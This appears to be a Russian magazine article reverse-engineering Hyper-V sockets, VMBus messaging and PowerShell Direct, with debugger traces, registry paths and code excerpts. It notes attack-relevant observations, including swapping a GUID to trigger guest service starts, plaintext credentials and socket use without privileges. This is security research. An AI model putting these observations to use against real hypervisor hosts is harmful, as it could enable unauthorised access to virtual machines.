КОДИНГ  НАЧАЛО СТАТЬИ←

Так же соз дает ся порт

__********** Bp winhvr!WinHvCreatePort ********__
rcx=0000000000000001
rdx=0000000080000000
r8=000000000000002d
r9=0000000000000004
# Call Site
00 winhvr!WinHvCreatePort
01 vmbusr!ParentClaimInterruptResources
02 vmbusr!XPartCreateInterrupt
03 vmbusr!ChpInitializeServerChannelLocked
04 vmbusr!ChOfferChannel
05 vmbusr!RootIoctlChannelOffered
06 vmbusr!RootIoctlDispatch
07 vmbusr!RootDeviceControl
…….WDFstuff
11 vmbusr!RootIoctlDeviceControlPreprocess
…….WDFstuff
16 vmbkmclr!KmclpSynchronousIoControl
17 vmbkmclr!KmclpServerOfferChannel
18 vmbkmclr!VmbChannelEnable
19 vmbusr!PipeStartChannel
1a vmbusr!PipeOffer
1b hvsocket!VmbusTlXPartRootSetupConnection
1c hvsocket!VmbusTlSetupConnection
1d hvsocket!VmbusTlXPartAcceptConnection
1e hvsocket!VmbusTlListenerProcessPendingIncomingConnection
1f hvsocket!VmbusTlProcessNewConnectionForListener
20 hvsocket!VmbusTlProcessNewConnection
21 hvsocket!VmbusTlProcessConnectRequestWorkItem
22 hvsocket!VmbusTlConnectRequestWorkQueueRoutine
23 NETIO!NetiopIoWorkItemRoutine
24 nt!IopProcessWorkItem
25 nt!ExpWorkerThread
26 nt!PspSystemThreadStartup
27 nt!KiStartSystemThread

и выпол няет ся под клю чение к нему:

********** Bp winhvr!WinHvConnectPort ********
rcx=0000000000000004
rdx=0000000080000000
r8=000000000001000c
r9=0000000000000001
# Call Site
00 winhvr!WinHvConnectPort
01 vmbusr!ParentConnectDedicatedInterrupt
02 vmbusr!ParentClaimInterruptResources
03 vmbusr!XPartCreateInterrupt
04 vmbusr!ChpInitializeServerChannelLocked
05 vmbusr!ChOfferChannel
06 vmbusr!RootIoctlChannelOffered
07 vmbusr!RootIoctlDispatch
08 vmbusr!RootDeviceControl
………….WDFStuff
12 vmbusr!RootIoctlDeviceControlPreprocess
………….WDFStuff
17 vmbkmclr!KmclpSynchronousIoControl
18 vmbkmclr!KmclpServerOfferChannel
19 vmbkmclr!VmbChannelEnable
1a vmbusr!PipeStartChannel
1b vmbusr!PipeOffer
1c hvsocket!VmbusTlXPartRootSetupConnection
1d hvsocket!VmbusTlSetupConnection
1e hvsocket!VmbusTlXPartAcceptConnection
1f hvsocket!VmbusTlListenerProcessPendingIncomingConnection
20 hvsocket!VmbusTlProcessNewConnectionForListener
21 hvsocket!VmbusTlProcessNewConnection
22 hvsocket!VmbusTlProcessConnectRequestWorkItem
23 hvsocket!VmbusTlConnectRequestWorkQueueRoutine
24 NETIO!NetiopIoWorkItemRoutine
25 nt!IopProcessWorkItem
26 nt!ExpWorkerThread
27 nt!PspSystemThreadStartup
28 nt!KiStartSystemThread

За тем в гос тевой ОС выпол няет ся  :nt!IoRegisterDeviceInterface

# Call Site
00 nt!IoRegisterDeviceInterface
01 Wdf01000!Mx::MxRegisterDeviceInterface
02 Wdf01000!FxDeviceInterface::Register
03 Wdf01000!FxDeviceInterface::Register
04 Wdf01000!imp_WdfDeviceCreateDeviceInterface
05 vmbus!RootStartDeviceInterfaceByContext
06 hvsocket!VmbusTlXPartProcessNewConnection
07 vmbus!RootNotifyDeviceInterfaceArrival
08 Wdf01000!FxWorkItem::WorkItemHandler
09 Wdf01000!FxWorkItem::WorkItemThunk
0a nt!IopProcessWorkItem
0b nt!ExpWorkerThread
0c nt!PspSystemThreadStartup
0d nt!KiStartSystemThread
NTSTATUS IoRegisterDeviceInterface(
 _In_           PDEVICE_OBJECT  PhysicalDeviceObject,
 _In_     const GUID            *InterfaceClassGuid,
 _In_opt_       PUNICODE_STRING ReferenceString,
 _Out_          PUNICODE_STRING SymbolicLinkName

);
kd> !devobj @rcx
Device object (ffffe38bf77145b0) is for:
00000013 \Driver\ACPI DriverObject ffffe38bf79d5a00

Current Irp 00000000 RefCount 0 Type 00000032 Flags 00001040
SecurityDescriptor ffffa48e93c56dc0 DevExt ffffe38bf7a71c60 DevObjExt
ffffe38bf7714700 DevNode ffffe38bf79d1c50 

ExtensionFlags (0000000000)  
Characteristics (0x00000180)  FILE_AUTOGENERATED_DEVICE_NAME, FILE_D
EVICE_SECURE_OPEN
AttachedDevice (Upper) ffffe38bf7af5970 \Driver\vmbus
Device queue is not busy.
__kd> dx _GUID @rdx__
(*((_GUID *)0xffffa48ea28888f0))                 : {B1D00D3E‐FE10‐
4570‐AD62‐7648779D7A1B} [Type: _GUID]
__kd> dx UNICODE_STRING @r8__
(*((UNICODE_STRING *)0xffffa48ea2888900))                 : "{
b1d00d3e‐fe10‐4570‐ad62‐7648779d7a1b}‐{00000000‐0000‐0000‐0000‐000000
000000}‐0000" [Type: UNICODE_STRING]

За тем выпол няет ся фун кция nt!PnpNotifyDeviceClassChange

__kd> k__
# Child‐SP          RetAddr           Call Site

00  nt!PnpNotifyDeviceClassChange
01 nt!PnpDeviceEventWorker+0x263
02  nt!ExpWorkerThread+0xe9
03  nt!PspSystemThreadStartup+0x41
04 nt!KiStartSystemThread+0x16
__kd> dc @rcx__
ffffa48e`9f13f3f8  cb3a4004 11d046f0 60008fb0 3f051397  .@:..F.....`
...?
__kd> dx _GUID @rdx__
(*((_GUID *)0xffffa48ea0dcd0a8))                 : {B1D00D3E‐FE10‐
4570‐AD62‐7648779D7A1B} [Type: _GUID]
__kd> du @rdx+10__
ffffa48e`a0dcd0b8  "\??\ACPI#VMBus#0#{b1d00d3e‐fe10‐"
ffffa48e`a0dcd0f8  "4570‐ad62‐7648779d7a1b}\{b1d00d3"
ffffa48e`a0dcd138  "e‐fe10‐4570‐ad62‐7648779d7a1b}‐{"
ffffa48e`a0dcd178  "00000000‐0000‐0000‐0000‐00000000"
ffffa48e`a0dcd1b8  "0000}‐0000"

Стек потока ClientExample.exe при этом:

Child‐SP          RetAddr           Call Site
ffffd180`715e1070 fffff800`081690d5 nt!KxDispatchInterrupt+0x122
ffffd180`715e11b0 fffff800`08169d32 nt!KiDpcInterruptBypass+0x25
ffffd180`715e11c0 fffff800`07e6a003 nt!KiVmbusInterrupt2+0x212 (
TrapFrame @ ffffd180`715e11c0)
ffffd180`715e1358 fffff809`c86a17ff 0xfffff800`07e6a003
ffffd180`715e1360 fffff809`c86a19b4 winhv!WinHvpHypercall+0x57
ffffd180`715e13a0 fffff809`c86a1f96 winhv!WinHvpSimplePoolHypercall+
0x40
ffffd180`715e13e0 fffff809`c8628f92 winhv!WinHvPostMessage+0x8e
ffffd180`715e1470 fffff809`c8628664 vmbus!PncSendMessage+0x42
ffffd180`715e14a0 fffff809`c863c08d vmbus!XPartSendMessage+0x60
ffffd180`715e14f0 fffff809`c8669b24 vmbus!ChTlConnectRequest+0x4d
ffffd180`715e1530 fffff809`c8665e67 hvsocket!VmbusTlXPartChildSetupCo
nnection+0xb4
ffffd180`715e1580 fffff809`c8662fe5 hvsocket!VmbusTlSetupConnection+
0x18b
ffffd180`715e15d0 fffff809`c98970e2 hvsocket!VmbusTlProviderConnect+
0x615
ffffd180`715e1680 fffff800`0842e180 afd!AfdConnect+0x6b2
ffffd180`715e1820 fffff800`0842d064 nt!IopSynchronousServiceTail+
0x1a0
ffffd180`715e18e0 fffff800`0842c9e6 nt!IopXxxControlFile+0x674
ffffd180`715e1a20 fffff800`08170493 nt!NtDeviceIoControlFile+0x56
ffffd180`715e1a90 00000000`61e7222c nt!KiSystemServiceCopyEnd+0x13 (
TrapFrame @ ffffd180`715e1b00)

Send
На ибо лее фун кци ональ ная  часть —  при ем  и  переда ча  дан ных.  Рас смот рим
send.  Recv,  по  идее,  прин ципи аль но  отли чать ся  не  дол жен.  Рас смат ривать
будем  кли ент ское  при ложе ние.  В  usermode  вызыва ется  ,
при выч ный 

mswsock!WPSend
NtDeviceIoControlFile

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 144 (\Device\Afd)
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, 00DBF45C
 _In_  ULONG            IoControlCode, 1201F
 _In_  PVOID            InputBuffer, DBF44C
 _In_  ULONG            InputBufferLength,10
 _Out_ PVOID            OutputBuffer, 0
 _In_  ULONG            OutputBufferLength 0

);

Од нако  в  стан дар тный  обра бот чик    мы
не попадем, вмес то это го обра бот ку кода будет выпол нять 

.  При  ини циали зации  драй вера  регис три рует ся  соот ветс тву‐ 
ющий обра бот чик:

afd!AfdDispatchDeviceControl
afd!AfdFastIo‐

DeviceControl

objDrv‐>FastIoDispatch = &AfdFastIoDispatch;
__WINDBG>kc__
Call Site
winhv!WinHvSignalEvent
vmbus!BusChSendInterrupt
vmbkmcl!KmclSendSignal
vmbus!PipeWrite
hvsocket!VmbusTlXPartProcessIoRequest
hvsocket!VmbusTlConnectProcessIoRequest
hvsocket!VmbusTlConnectionSend
afd!AfdFastConnectionSend
afd!AfdFastIoDeviceControl
nt!IopXxxControlFile
nt!NtDeviceIoControlFile
nt!KiSystemServiceCopyEnd
wow64cpu!CpupSyscallStub
wow64cpu!DeviceIoctlFileFaul

При вызове   парамет ры сле дующие:winhv!WinHvpHypercallRoutine

__WINDBG>r__
rcx=000000000001005d — hypercall code
rdx=000000000001000a — CONNECTION_ID
r8 = 0

В  иссле дова нии  про цес са  переда чи  дан ных  ком понен том  Hyper‐V  Data  Ex‐
change ( , раз дел Integration Services — Data Exchange) в слу‐ 
чае переда чи через общий буфер сиг налом для его счи тыва ния ста нет вызов

.  Общий  буфер  был  выделен  ранее,  он  пред став ляет
собой  область  памяти,  дос тупной  для  чте ния/записи  как  гос тевой  ОС,  так
и  root  OS.  Что бы  доб рать ся  до  нее,  необ ходимо  пос тавить  точ ку  оста нова
на   и прос мотреть буфер, ука затель на который
рас положен  в  rcx+18h.  Раз мер  буфера  дос таточ но  боль шой  —  в  2012
r2 для него выделя лось десять физичес ких стра ниц, 40 Кбайт.
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WinHvSignalEvent

vmbusr!PkGetReceiveBuffer

__WINDBG>dc ffffbf01`7c9a9000 L1000__
ffffbf01`7c9a9000  00000028 00000000 00000001 00000000  (
...............
ffffbf01`7c9a9010  00000000 00000000 00000000 00000000  
................
……………………………………………………………………………………………………………….
ffffbf01`7c9aa000  00020006 00000004 00000000 00000000  
................
ffffbf01`7c9aa010  00000001 00000008 74736554 74736554  ........
TestTest
ffffbf01`7c9aa020  00000000 00000000 00000000 00000000  
................
__WINDBG>kcn__
\ # Call Site
00 vmbusr!PkGetReceiveBuffer
01 vmbusr!PipeValidateAndGetReceiveBuffer
02 vmbusr!PipeForwardToValidPacket
03 vmbusr!PipeTryReadOrPeekSingle
04 vmbusr!PipePeekMultiple
05 vmbusr!PipeProcessDeferredReadWrite
06 vmbusr!PipeProcessDeferredIosAndUnlock
07 vmbusr!PipeEvtChannelSignalArrived
08 vmbkmclr!KmclpVmbusManualIsr
09 vmbusr!ParentRingInterruptDpc
0a nt!KiExecuteAllDpcs
0b nt!KiRetireDpcList
0c nt!KiIdleLoop

В той же про цеду ре в оче редь добав ляет ся Work Item.

kd> k
# Child‐SP          RetAddr           Call Site
00 NETIO!NetioInsertWorkQueue
01 hvsocket!VmbusTlQueueEndpointAction+0x14e
02 hvsocket!VmbusTlDeliverDataIndications+0x6b
03 hvsocket!VmbusTlXPartIndicateReceive+0x9b
04 vmbusr!PipePeekMultiple+0xf3
05 vmbusr!PipeProcessDeferredReadWrite+0x1b6
06 vmbusr!PipeProcessDeferredIosAndUnlock+0x74
07 vmbusr!PipeEvtChannelSignalArrived+0x91
08 vmbkmclr!KmclpVmbusManualIsr+0x1d
09 vmbusr!ParentRingInterruptDpc+0x62
0a nt!KiExecuteAllDpcs+0x2b1
0b nt!KiRetireDpcList+0x5df
0c nt!KiIdleLoop+0x5a

Да лее он выпол няет ся, дан ные копиру ются в буфер драй вера  ,
затем переда ются при ложе нию через тот же Fast I/O.

hvsocket.sys

__WINDBG>kcn__
# Call Site
00 hvsocket!VmbusTlIndicateReceive
01 hvsocket!VmbusTlConnectIoRequestCompleted
02 hvsocket!VmbusTlXPartIoRequestCompleted
03 nt!IopfCompleteRequest
04 hvsocket!VmbusTlFulfillReceiveRequest
05 hvsocket!VmbusTlDeliverSingleDataIndicationList
06 hvsocket!VmbusTlDeliverDataIndications
07 hvsocket!VmbusTlEndpointActionWorkQueueRoutine
08 NETIO!NetiopIoWorkItemRoutine
09 nt!IopProcessWorkItem
0a nt!ExpWorkerThread
0b nt!PspSystemThreadStartup
0c nt!KiStartSystemThread

POWERSHELL DIRECT
Windows PowerShell дос таточ но дав но под держи вает про токол PowerShell Re‐
moting,  который  поз воля ет  под клю чать ся  к  рабочим  стан циям  и  сер верам
по  сети  для  уда лен ного  управле ния  и  выпол нения  про изволь ных  опе раций.
PowerShell  Remoting  опи сан  Microsoft  в  докумен те  [MS‐PSRP],  который
выложен в откры тый дос туп в рам ках прог раммы Open Specifications. Power‐
Shell Direct для сво ей работы исполь зует тот же про токол, одна ко сре дой дос‐ 
тавки дан ных слу жит не сеть на базе TCP/IP‐сте ка, а шина VMBus.

Для работы PowerShell Direct исполь зуют ся  те же самые коман дле ты,  что
и для PowerShell Remoting: Enter‐PSSession,  Invoke‐PSSession и New‐PSSes‐
sion, толь ко вмес то име ни компь юте ра ука зыва ется имя вир туаль ной машины
или ее GUID.

Для  под дер жки  этой  тех нологии  в  гос тевой ОС  была  соз дана  отдель ная
служ ба Hyper‐V PowerShell Direct Service (имя служ бы — vmicvmsession), фун‐ 
кци ональ ность  которой  реали зова на  в  биб лиоте ке  %SystemRoot%\System‐ 
32\ICSvc.dll.  Тип  запус ка — Manual  (Trigger  start). При  каких  усло виях  запус‐ 
тится служ ба?

__PS C:\Users\Administrator> sc.exe qtriggerinfo vmicvmsession__
[SC] QueryServiceConfig2 SUCCESS
SERVICE_NAME: vmicvmsession
       START SERVICE
         DEVICE INTERFACE ARRIVAL     : 999e53d4‐3d5c‐4c3e‐8779‐
bed06ec056e1 [INTERFACE CLASS GUID] ‐ HV_GUID_VM_SESSION_SERVICE_ID

Это про изой дет, если к сис теме будет под клю чено устрой ство с  INTERFACE
CLASS GUID  . Как вид но, GUID это‐ 
го  устрой ства сов пада ет с GUID’ом сер виса из раз дела реес тра в  root‐раз‐ 
деле  (

),  где  для  работы  с  сокета ми
по умол чанию соз даны два клю ча с GUID’ом:

999e53d4‐3d5c‐4c3e‐8779‐bed06ec056e1

HKLM:\SOFTWARE\Microsoft\Windows  NT\CurrentVersion\Virtual‐
ization\GuestCommunicationServices

;• 999e53d4­3d5c­4c3e­8779­bed06ec056e1

.• a5201c21­2770­4c11­a68e­f182edb29220

В гос тевой ОС устрой ства с таким GUID’ом при сутс тву ют в

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses\{
999e53d4‐3d5c‐4c3e‐8779‐bed06ec056e1}

и

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses\{
a5201c21‐2770‐4c11‐a68e‐f182edb29220}\##?#ACPI#VMBus#0#{
a5201c21‐2770‐4c11‐a68e‐f182edb29220}\#{
a5201c21‐2770‐4c11‐a68e‐f182edb29220}‐{00000000‐0000‐0000‐0000‐000000
000000}‐0000

При  выпол нении  коман дле тов  в  root  ОС  ини циали зиру ется  сокет,  при  этом
в  гос тевой  ОС  сер висом  vmicvmsession  соз дает ся  про цесс  Powershell.exe
и один сокет Hyper‐V. Дан ные, пре обра зован ные в XML‐фор мат, переда ются
стан дар тны ми  вызова ми  send  в  зашиф рован ном  Base 64‐виде.  Механизм
не  тре бует  вклю чения  в  опци ях  вир туаль ной  машины  и  дос тупен  по  умол‐ 
чанию. Ранее для того, что бы узнать алго ритм работы, иссле дова тели деком‐ 
пилиро вали  модуль  System.Management.Automation.dll,  вхо дящий  в  сос тав
Windows  PowerShell,  теперь  же  ситу ация  упрости лась  и  готовый  код  мож но
най ти на GitHub:  .ис ходные коды PowerShell

Здесь мож но почер пнуть мно го информа ции, в час тнос ти о том, каким же
обра зом реали зовать свое собс твен ное при ложе ние для работы с сокета ми
Hyper‐V на C#. Подоб ные при меры на C++ уже мож но было най ти в Сети.

Пос тавим  сим воль ные  точ ки  оста нова    в  гос тевой ОС,
и при выпол нении Enter‐PSSession мы оста новим ся на 

.

bm nt!PnpNotif*

nt!PnpNotifyDevice‐
ClassChange

__kd> kcn__
# Call Site
00 nt!PnpNotifyDeviceClassChange
01 nt!PnpDeviceEventWorker
02 nt!ExpWorkerThread
03 nt!PspSystemThreadStartup

При  этом  в  rcx  находит ся  ука затель  на  некий  GUID.  Вто рым  парамет ром
переда ется GUID сер виса VM Session Service 1.

__kd> dc @rcx__
ffffa806`a2b5d6c8  cb3a4004 11d046f0 60008fb0 3f051397  
ffffa806`a2b5d6d8  00000002 00000000 00000000 00000000  
ffffa806`a2b5d6e8  00000000 00000164 00000000 00000000  
__kd> dc @rdx__
ffffa806`a2b5d6f8  999e53d4 4c3e3d5c d0be7987 e156c06e  
__kd> du @rdx+10 — по смещению 10h — ID устройства, которое 
появляется на шине VMBus__
ffffa806`a2b5d708  "\??\ACPI#VMBus#0#{999e53d4‐3d5c‐"
ffffa806`a2b5d748  "4c3e‐8779‐bed06ec056e1}\{999e53d"
ffffa806`a2b5d788  "4‐3d5c‐4c3e‐8779‐bed06ec056e1}‐{"
ffffa806`a2b5d7c8  "00000000‐0000‐0000‐0000‐00000000"
ffffa806`a2b5d808  "0000}‐0000"

Тем не менее это устрой ство не отоб ража ется в спис ке дочер них устрой ств
VMBus (!devnode 0 1). В раз деле 

  эти GUID’ы  так же  отсутс тву ют. Одна ко  параметр Devi‐
ceInstance  в  раз деле 

  име ет  зна‐ 
чение  , что пол ностью сов пада ет со зна чени ем Device Instance
устрой ства VMBus.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentCon‐
trolSet\Enum\VMBus

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Control\DeviceClasses\{999e53d4‐3d5c‐4c3e‐8779‐bed06ec056e1}\##?
#ACPI#VMBus#0#{999e53d4‐3d5c‐4c3e‐8779‐bed06ec056e1}

ACPI\VMBUS\0

Так же  при  выпол нении  Enter‐PSSession  сра баты вает  фун кция
 и  :vmbus!RootAddDeviceInterface nt!IoRegisterDeviceInterface

__kd> kcn__
# Call Site

00 nt!IoRegisterDeviceInterface
01 Wdf01000!Mx::MxRegisterDeviceInterface
02 Wdf01000!FxDeviceInterface::Register
03 Wdf01000!FxDeviceInterface::Register
04 Wdf01000!imp_WdfDeviceCreateDeviceInterface
05 vmbus!RootStartDeviceInterfaceByContext
06 hvsocket!VmbusTlXPartProcessNewConnection
07 vmbus!RootNotifyDeviceInterfaceArrival
08 Wdf01000!FxWorkItem::WorkItemHandler
09 Wdf01000!FxWorkItem::WorkItemThunk
0a nt!IopProcessWorkItem
0b nt!ExpWorkerThread
0c nt!PspSystemThreadStartup
0d nt!KiStartSystemThread

Пос ледняя фун кция докумен тирова на в MSDN.

NTSTATUS IoRegisterDeviceInterface(
 _In_           PDEVICE_OBJECT  PhysicalDeviceObject,
 _In_     const GUID            *InterfaceClassGuid,
 _In_opt_       PUNICODE_STRING ReferenceString,
 _Out_          PUNICODE_STRING SymbolicLinkName

);
__kd> !devobj @rcx — PhysicalDeviceObject__
Device object (ffffc9094ca24630) is for:
00000013 \Driver\ACPI DriverObject ffffc9094cdeea00

Current Irp 00000000 RefCount 0 Type 00000032 Flags 00001040
SecurityDescriptor ffffb90d7d06a630 DevExt ffffc9094ce89c60 DevObjExt
ffffc9094ca24780 DevNode ffffc9094cda7c50 

ExtensionFlags (0000000000)  
Characteristics (0x00000180)  FILE_AUTOGENERATED_DEVICE_NAME, FILE_D
EVICE_SECURE_OPEN
AttachedDevice (Upper) ffffc9094ceb4970 \Driver\vmbus
Device queue is not busy
__kd> dx _GUID @rdx — InterfaceClassGuid__
(*((_GUID *)0xffffb90d7ed57eb0))                 : {999E53D4‐3D5C‐4
C3E‐8779‐BED06EC056E1} [Type: _GUID]
   [<Raw View>]     [Type: _GUID]
__kd> dx _UNICODE_STRING @r8 — ReferenceString__
(*((_UNICODE_STRING *)0xffffb90d7ed57ec0))                 : "{
999e53d4‐3d5c‐4c3e‐8779‐bed06ec056e1}‐{00000000‐0000‐0000‐0000‐000000
000000}‐0000" [Type: _UNICODE_STRING]

При  выпол нении    в  root  ОС  идет  вызов  ,
в ходе которо го в гос тевую ОС пос редс твом вызова 

 переда ется сооб щение

Enter‐PSSession ws2_32!connect
winhvr!WinHvPostMes‐

sage

__kd> !dc @rdx — непосредственно перед вызовом vmcall (часть тела 
сообщения)__
#227b36000 00000001 00000000 00000001 000000c4 ................
#227b36010 00000001 00000000 999e53d4 4c3e3d5c .........S..\=>L
#227b36020 d0be7987 e156c06e

Да лее в гос тевой ОС, как мы видели, выпол няет ся 
 и  ,  пос ле  чего  сра баты вает  триг‐ 

гер на запуск служ бы vmicvmsession.

nt!IoRegisterDeviceIn‐
terface nt!PnpNotifyDeviceClassChange

Но мы можем заменить переда ваемый GUID на любой дру гой,  что спро‐ 
воци рует  запуск  дру гих  служб,  у  которых  есть  ана логич ный  триг гер.  В  нас‐ 
тоящее вре мя это сле дующие служ бы:

All Hyper‐V guest services;•
Bluetooth Support Service;•
Windows Camera Frame Server;•
Human Interface Device Service;•
Geolocation Service;•
Microsoft Passport;•
Portable Device Enumerator Service;•
Sensor Service;•
Sensor Monitoring Service;•
Storage Service;•
Touch Keyboard and Handwriting (probably).•

С тех ничес кой точ ки зре ния мы прос то эму лиру ем под клю чение опре делен‐ 
ного  устрой ства  к  сис теме.  Реаль ные  устрой ства,  выпол няющие  эму ляцию,
не  появ ляют ся,  и  некото рые  служ бы  в  таких  усло виях  прос то  не  работа ют
и пос ле запус ка выда ют сооб щение.

На  Shielded  VM  (про вере но  в  режиме  Admin‐Trusted)  эффект  ана логи чен,
одна ко служ ба Hyper‐V PowerShell Direct Service запус кать ся не будет.

Что  инте рес но,  зна чение  парамет ра  Credentials  для  Enter‐PSSession,
который исполь зует ся для запус ка powershell.exe в гос тевой ОС, переда ется
в откры том виде.

if (emptyPassword)
{
   HyperVSocket.Send(Encoding.ASCII.GetBytes("EMPTYPW"));
   HyperVSocket.Receive(response);
   responseString = Encoding.ASCII.GetString(response);
}
else
{
   HyperVSocket.Send(Encoding.ASCII.GetBytes("NONEMPTYPW"));
   HyperVSocket.Receive(response);
   HyperVSocket.Send(password);
   HyperVSocket.Receive(response);
   responseString = Encoding.ASCII.GetString(response);
.............................................................

В родитель ском раз деле — bp   в про цес се PowerShell.exe.ws2_32!recv

В дочер нем раз деле — bp  .sspicli!LogonUserExExW

Продолжение статьи →

https://xakep.ru/2015/01/05/hyper-v-research-part-2
https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/remoting/common/RemoteSessionHyperVSocket.cs
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Для  прос мотра  XML‐сооб щений  ста вились  точ ки  оста нова  на  фун кции  recv
и send в гос тевой и root ОС. В RAW‐фор мате они выг лядят сле дующим обра‐ 
зом.

Ес ли под гру зить рас ширение для отладки .NET (.cordll ‐ve ‐u ‐l), то мож но уви‐ 
деть стек про цес са powershell.exe.

Как  видим,  отправ ка  про изво дит ся  фун кци ей  SendOneItem  из  модуля
OutOfProcessTransportManager.cs.

Ко ман да,  передан ная  на  исполне ние  в  гос тевую  ОС,  кодиру ется  фун кци ей
CreateDataPacket все из того же модуля OutOfProcessTransportManager.cs.

internal static string CreateDataPacket(byte[] data, DataPriorityType
streamType, Guid psGuid)
       {
           string result = string.Format(CultureInfo.Invari
antCulture,
               "<{0} {1}='{2}' {3}='{4}'>{5}</{0}>",
               PS_OUT_OF_PROC_DATA_TAG, ‐ Data
               PS_OUT_OF_PROC_STREAM_ATTRIBUTE, ‐ Stream
               streamType.ToString(), ‐ Default
               PS_OUT_OF_PROC_PSGUID_ATTRIBUTE, ‐ PSGUID
               psGuid.ToString(), ‐ 223adb3d‐b639‐4e84‐aa83‐6b193db
87e1e
               Convert.ToBase64String(data)); ‐ BASE64 текст
           return result;   
        }

Воз можные заголов ки пакетов.

Нап ример,  если  мы  откро ем  сес сию  PowerShell  Direct  и  выпол ним  коман ду
  в  гос тевой  ОС,  то  тек сто вая  часть  диало га  в  целом

будет такой.
mkdir  С:\Tools\Test

Ди алог  выг лядит  при мер но  сле дующим  обра зом:  root  ОС  отправ ляет  гос‐ 
тевой ОС нес коль ко XML‐сооб щений, в одном из которых содер жится коман‐ 
да

и аргу мен ты коман ды.

Гос тевая ОС воз вра щает нес коль ко сооб щений, которые, помимо слу жеб ной
информа ции,  содер жат  и  резуль таты  выпол нения  коман ды  (каж дая  стро ка
вывода коман ды mkdir переда ется как отдель ный объ ект).

В прин ципе, мож но получить незако диро ван ные дан ные, пос тавив точ ку оста‐ 
нова  на  System.Management.Automation.Remoting.Client.OutOfProcessClient‐
CommandTransportManager.SendData (адрес мож но уви деть в выводе коман‐ 
ды !clrstack). Оста новив шись на нуж ной точ ке, выпол няем коман ду 
, получа ем адрес перемен ной data:

!clrstack
‐a

__0:020> !clrstack ‐a__
        OS Thread Id: 0x3b8 (20)
        ………………………
            PARAMETERS:
                this (<CLR reg>) = 0x000001e0a8459060
                data (<CLR reg>) = 0x000001e0a84964b0
                priorityType (<CLR reg>) = 0x0000000000000000

Раз мер буфера мож но узнать:

    0:020> !DumpObj /d 000001e0a84964b0
    Name:        System.Byte[]
    MethodTable: 00007ffc081993d0
    EEClass:     00007ffc07bd4dc8
    Size:        2219(0x8ab) bytes

Вы пол нив коман ду  , мож но уви деть содер жимое пакета.dc

На стра нице опи сания PowerShell Direct  ука зано,  что для работы механиз ма
сес сий нуж ны при виле гии Hyper‐V Administrators.

Фак тичес ки  они  нуж ны  для  запус ка  коман дле та  ,  сами  же
сокеты Hyper‐V не тре буют каких‐либо при виле гий для работы, так что их фун‐ 
кци ональ ностью  мож но  поль зовать ся  в  при ложе ниях,  запущен ных  от  обыч‐ 
ного поль зовате ля.

Enter‐PSSession

Из  root ОС мы можем  под клю чить ся  к  сер вису  vmicvmsession.  Для  это го
в  при ложе нии  ClientExample.exe  заменим  HV_PARENT_GUID  на  GUID  вир‐ 
туаль ной машины.

WSADATA wsaData;
SOCKADDR_HV clientService;
CLSID VmID, ServiceID;
// Initialize GUIDs
//wchar_t* clsid_str = L"{a42e7cda‐d03f‐480c‐9cc2‐a4de20abb878}"; // 
HV_PARENT_GUID
wchar_t* clsid_str = L"{6a964317‐1d87‐4a74‐abf9‐46a69b048900}";
CLSIDFromString(clsid_str, &VmID);
clsid_str = L"{999e53d4‐3d5c‐4c3e‐8779‐bed06ec056e1}";
CLSIDFromString(clsid_str, &ServiceID); // GUID of Powershell Direct 
Service

Ском пилиру ем, запус тим и получим ответ от гос тевой ОС.

Так начина ет вза имо дей ствие с кли ентом модуль  icsvc.dll. Про токол вза имо‐ 
дей ствия кли ент ской час ти при сутс тву ет в исходных кодах PowerShell в фай‐ 
лах OutOfProcTransportManager.cs  и  RemoteSessionHyperVSocket.cs,  поэто му
тех ничес ки нет пре пятс твий к тому, что бы ско пиро вать этот код в отдель ное
при ложе ние  и  исполь зовать  его  как  пол ноцен ный  кли ент  для  ком муника ций
со  служ бой  PowerShell  Direct  без  каких‐либо  допол нитель ных  при виле гий.
Разуме ется,  оста нет ся  необ ходимость  ука зывать  учет ные  дан ные,
под которы ми будет запущен про цесс powershell.exe в гос тевой ОС.

Таб лица пор тов, соз дава емых  root ОС для ком муника ций с  гос тевой ОС.
При исполь зовании PowerShell Direct соз дают ся два допол нитель ных пор та.

Пос ле  это го  в  целом  кар тина  ста новит ся  более  понят ной:  при  выпол нении
коман дле та  Enter‐PSSession  в  гос тевой  ОС  ини циирует ся  регис тра ция
нового  интерфей са  для  драй вера  шины  VMBus,  которая  при водит  к  стар ту
служ бы  vmicsession,  а  она,  в  свою оче редь,  запус кает  дочер ний PowerShell‐
про цесс  под  учет ными  дан ными,  передан ными  из  root  ОС.  Этот  про цесс
откры вает  сокеты  Hyper‐V  и  начина ет  про цесс  ком муника ций  с  про цес сом
powershell.exe,  работа ющим  в  root  ОС,  с  помощью  обыч ных  вызовов 
и  .

send

recv

Так же сто ит отме тить, что некото рую логику выпол нения драй веров (в час‐ 
тнос ти,  hvsocket.sys)  мож но  узнать,  исполь зуя  Windows  software  trace  pre‐
processor (WPP).

Во  мно гих  драй верах  Microsoft  исполь зует ся  WPP,  записи  которо го  поз‐ 
воля ет  пос мотреть  ути лита  traceview  из WDK. Для  это го  необ ходимо  узнать
GUID  трас сиров ки.  Если  пос мотреть  в  IDA,  то  наиме нова ние  перемен ной,
в  которой  содер жится  GUID,  будет  выг лядеть  как WPP_ThisDir_CTLGUID_Hv‐
SocketTraceGuid или WPP_ThisDir_CTLGUID_VMBusDriverTraceGuid. GUID будет
в  бинар ном  виде:  .  Его  нуж но  пре‐ 
обра зовать в обыч ный фор мат  ,
нап ример наб рав коман ду   в WinDBG.

0B8A5B44354C0BBA849083340689010E5h
(689010e5‐3340‐4908‐a8bb‐c05443b4a5b8)

dt _GUID <адрес переменной>
По лучен ный  GUID  мож но  вбить  в  TraceView,  начав  новую  сес сию:  File →

Create Ne Log Session → Add Provider.

За тем  ука зать  путь  к фай лу,  в  который будут  записы вать ся дан ные.  Кар тина
получит ся  не  слиш ком  информа тив ная  (TMF‐файл  для  декоди рова ния  Mi‐
crosoft не пред лага ет).

Но  если мы  заг рузим  сох ранен ный  etl‐файл  в Windows Message  Analyzer,  то
мы смо жем уви деть PID и TID, а так же само WPP‐сооб щение в RAW‐виде.

